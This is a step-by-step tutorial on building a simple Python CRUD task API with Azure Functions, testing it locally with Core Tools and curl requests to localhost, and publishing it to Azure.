<p>Azure Functions is a serverless compute service that enables you to run event-triggered code without having to explicitly provision or manage infrastructure. This tutorial will guide you through creating a simple Python app that demonstrates CRUD (Create, Read, Update, Delete) functionality using Azure Functions. Additionally, we will cover local testing using Azure Functions Core Tools.</p>
<h2 id="heading-step-by-step-guide">Step-by-Step Guide</h2>
<h3 id="heading-step-1-install-azure-functions-core-tools">Step 1: Install Azure Functions Core Tools</h3>
<p>First, ensure that you have Azure Functions Core Tools installed on your machine. You can install it by following the instructions (for your OS) here: <a target="_blank" href="https://learn.microsoft.com/en-us/azure/azure-functions/functions-run-local?tabs=linux%2Cisolated-process%2Cnode-v4%2Cpython-v2%2Chttp-trigger%2Ccontainer-apps&amp;pivots=programming-language-python">https://learn.microsoft.com/en-us/azure/azure-functions/functions-run-local?tabs=linux%2Cisolated-process%2Cnode-v4%2Cpython-v2%2Chttp-trigger%2Ccontainer-apps&amp;pivots=programming-language-python</a></p>
<p>For Linux distros:</p>
<pre><code class="lang-bash">sudo apt-get update
sudo apt-get install azure-functions-core-tools-4
</code></pre>
<h3 id="heading-step-2-initialize-your-azure-functions-project">Step 2: Initialize Your Azure Functions Project</h3>
<p>Create a new directory for your project and navigate into it:</p>
<pre><code class="lang-bash">mkdir azure-demo
<span class="hljs-built_in">cd</span> azure-demo
</code></pre>
<p>Initialize a new Azure Functions project:</p>
<pre><code class="lang-bash">func init azure-functions-crud --worker-runtime python --model V2
</code></pre>
<h3 id="heading-step-3-create-http-trigger-functions">Step 3: Create HTTP Trigger Functions</h3>
<p>Inside your project directory, create new HTTP trigger functions for each CRUD operation. You can create functions using the following command:</p>
<pre><code class="lang-bash">func new --template <span class="hljs-string">"Http Trigger"</span> --name MyHttpTrigger
</code></pre>
<h3 id="heading-step-4-implement-crud-operations">Step 4: Implement CRUD Operations</h3>
<p>Replace the content of the generated <code>function_app.py</code> file with the following code to implement the CRUD operations:</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> azure.functions <span class="hljs-keyword">as</span> func
<span class="hljs-keyword">import</span> logging
<span class="hljs-keyword">import</span> json

app = func.FunctionApp(http_auth_level=func.AuthLevel.ANONYMOUS)

tasks = []

<span class="hljs-meta">@app.route(route="add-task", methods=["POST"])</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">add_task</span>(<span class="hljs-params">req: func.HttpRequest</span>) -&gt; func.HttpResponse:</span>
    logging.info(<span class="hljs-string">'Python HTTP trigger function processed a request to add a new task.'</span>)

    <span class="hljs-keyword">try</span>:
        req_body = req.get_json()
        task_id = len(tasks) + <span class="hljs-number">1</span>
        task = {
            <span class="hljs-string">'id'</span>: task_id,
            <span class="hljs-string">'title'</span>: req_body.get(<span class="hljs-string">'title'</span>)
        }
        tasks.append(task)
        <span class="hljs-keyword">return</span> func.HttpResponse(json.dumps(task), status_code=<span class="hljs-number">201</span>, mimetype=<span class="hljs-string">"application/json"</span>)
    <span class="hljs-keyword">except</span> ValueError:
        <span class="hljs-keyword">return</span> func.HttpResponse(<span class="hljs-string">"Invalid input"</span>, status_code=<span class="hljs-number">400</span>)

<span class="hljs-meta">@app.route(route="get-task", methods=["GET"])</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">get_task</span>(<span class="hljs-params">req: func.HttpRequest</span>) -&gt; func.HttpResponse:</span>
    logging.info(<span class="hljs-string">'Python HTTP trigger function processed a request to get task by id.'</span>)

    <span class="hljs-keyword">try</span>:
        task_id = int(req.params[<span class="hljs-string">"id"</span>]) - <span class="hljs-number">1</span>
        <span class="hljs-keyword">return</span> func.HttpResponse(json.dumps(tasks[task_id]), status_code=<span class="hljs-number">200</span>, mimetype=<span class="hljs-string">"application/json"</span>)
    <span class="hljs-keyword">except</span> ValueError:
        <span class="hljs-keyword">return</span> func.HttpResponse(<span class="hljs-string">"Invalid input"</span>, status_code=<span class="hljs-number">400</span>)

<span class="hljs-meta">@app.route(route="update-task", methods=["PUT"])</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">update_task</span>(<span class="hljs-params">req: func.HttpRequest</span>) -&gt; func.HttpResponse:</span>
    logging.info(<span class="hljs-string">'Python HTTP trigger function processed a request to update task by id.'</span>)

    <span class="hljs-keyword">try</span>:
        task_id = int(req.params[<span class="hljs-string">"id"</span>]) - <span class="hljs-number">1</span>
        req_body = req.get_json()
        tasks[task_id][<span class="hljs-string">'title'</span>] = req_body.get(<span class="hljs-string">'title'</span>)
        <span class="hljs-keyword">return</span> func.HttpResponse(json.dumps({<span class="hljs-string">"message"</span>: <span class="hljs-string">"Updated"</span>, <span class="hljs-string">"task"</span>: tasks[task_id]}), status_code=<span class="hljs-number">200</span>, mimetype=<span class="hljs-string">"application/json"</span>)
    <span class="hljs-keyword">except</span> ValueError:
        <span class="hljs-keyword">return</span> func.HttpResponse(<span class="hljs-string">"Invalid input"</span>, status_code=<span class="hljs-number">400</span>)

<span class="hljs-meta">@app.route(route="delete-task", methods=["DELETE"])</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">delete_tasks</span>(<span class="hljs-params">req: func.HttpRequest</span>) -&gt; func.HttpResponse:</span>
    logging.info(<span class="hljs-string">'Python HTTP trigger function processed a request to delete task by id.'</span>)

    <span class="hljs-keyword">try</span>:
        task_id = int(req.params[<span class="hljs-string">"id"</span>]) - <span class="hljs-number">1</span>
        tasks.pop(task_id)
        <span class="hljs-keyword">return</span> func.HttpResponse(<span class="hljs-string">"Deleted"</span>, status_code=<span class="hljs-number">200</span>, mimetype=<span class="hljs-string">"application/json"</span>)
    <span class="hljs-keyword">except</span> ValueError:
        <span class="hljs-keyword">return</span> func.HttpResponse(<span class="hljs-string">"Invalid input"</span>, status_code=<span class="hljs-number">400</span>)

<span class="hljs-meta">@app.route(route="get-all-tasks", methods=["GET"])</span>
<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">get_all_tasks</span>(<span class="hljs-params">req: func.HttpRequest</span>) -&gt; func.HttpResponse:</span>
    logging.info(<span class="hljs-string">'Python HTTP trigger function processed a request to get all tasks.'</span>)

    <span class="hljs-keyword">return</span> func.HttpResponse(json.dumps(tasks), status_code=<span class="hljs-number">200</span>, mimetype=<span class="hljs-string">"application/json"</span>)
</code></pre>
<h3 id="heading-step-5-test-your-azure-functions-locally-and-deploy-to-azure">Step 5: Test Your Azure Functions Locally and Deploy to Azure</h3>
<p>You can test your Azure Functions locally by starting the Azure Functions host. Run the following command in your project directory:</p>
<pre><code class="lang-bash">func start
</code></pre>
<p>This will start the local Azure Functions runtime, and you will see URLs for each of your functions. You can use tools like <code>curl</code> or Postman to test the HTTP endpoints.</p>
<h3 id="heading-example-requests">Example Requests</h3>
<p><strong>Add Task</strong></p>
<pre><code class="lang-bash">curl -X POST http://localhost:7071/api/add-task -H <span class="hljs-string">"Content-Type: application/json"</span> -d <span class="hljs-string">'{"title": "New Task"}'</span>
</code></pre>
<p><strong>Get Task by ID</strong></p>
<pre><code class="lang-bash">curl http://localhost:7071/api/get-task?id=1
</code></pre>
<p><strong>Update Task</strong></p>
<pre><code class="lang-bash">curl -X PUT http://localhost:7071/api/update-task?id=1 -H <span class="hljs-string">"Content-Type: application/json"</span> -d <span class="hljs-string">'{"title": "Updated Task"}'</span>
</code></pre>
<p><strong>Delete Task</strong></p>
<pre><code class="lang-bash">curl -X DELETE http://localhost:7071/api/delete-task?id=1
</code></pre>
<p><strong>Get All Tasks</strong></p>
<pre><code class="lang-bash">curl http://localhost:7071/api/get-all-tasks
</code></pre>
<p>You can publish the azure functions by running the following command:</p>
<pre><code class="lang-bash">func azure functionapp publish &lt;FunctionAppName&gt;
</code></pre>
<h3 id="heading-conclusion">Conclusion</h3>
<p>In this tutorial, we have created a simple Python application that demonstrates CRUD functionality using Azure Functions. We also covered how to test these functions locally using Azure Functions Core Tools. With this setup, you can easily extend the functionality and deploy it to Azure for a scalable, serverless application.</p>
<p>Microsoft documentation on developing Azure functions: <a target="_blank" href="https://learn.microsoft.com/en-us/azure/azure-functions/functions-run-local?tabs=linux%2Cisolated-process%2Cnode-v4%2Cpython-v2%2Chttp-trigger%2Ccontainer-apps&amp;pivots=programming-language-python">https://learn.microsoft.com/en-us/azure/azure-functions/functions-run-local?tabs=linux%2Cisolated-process%2Cnode-v4%2Cpython-v2%2Chttp-trigger%2Ccontainer-apps&amp;pivots=programming-language-python</a></p>
]]></content:encoded></item></channel></rss>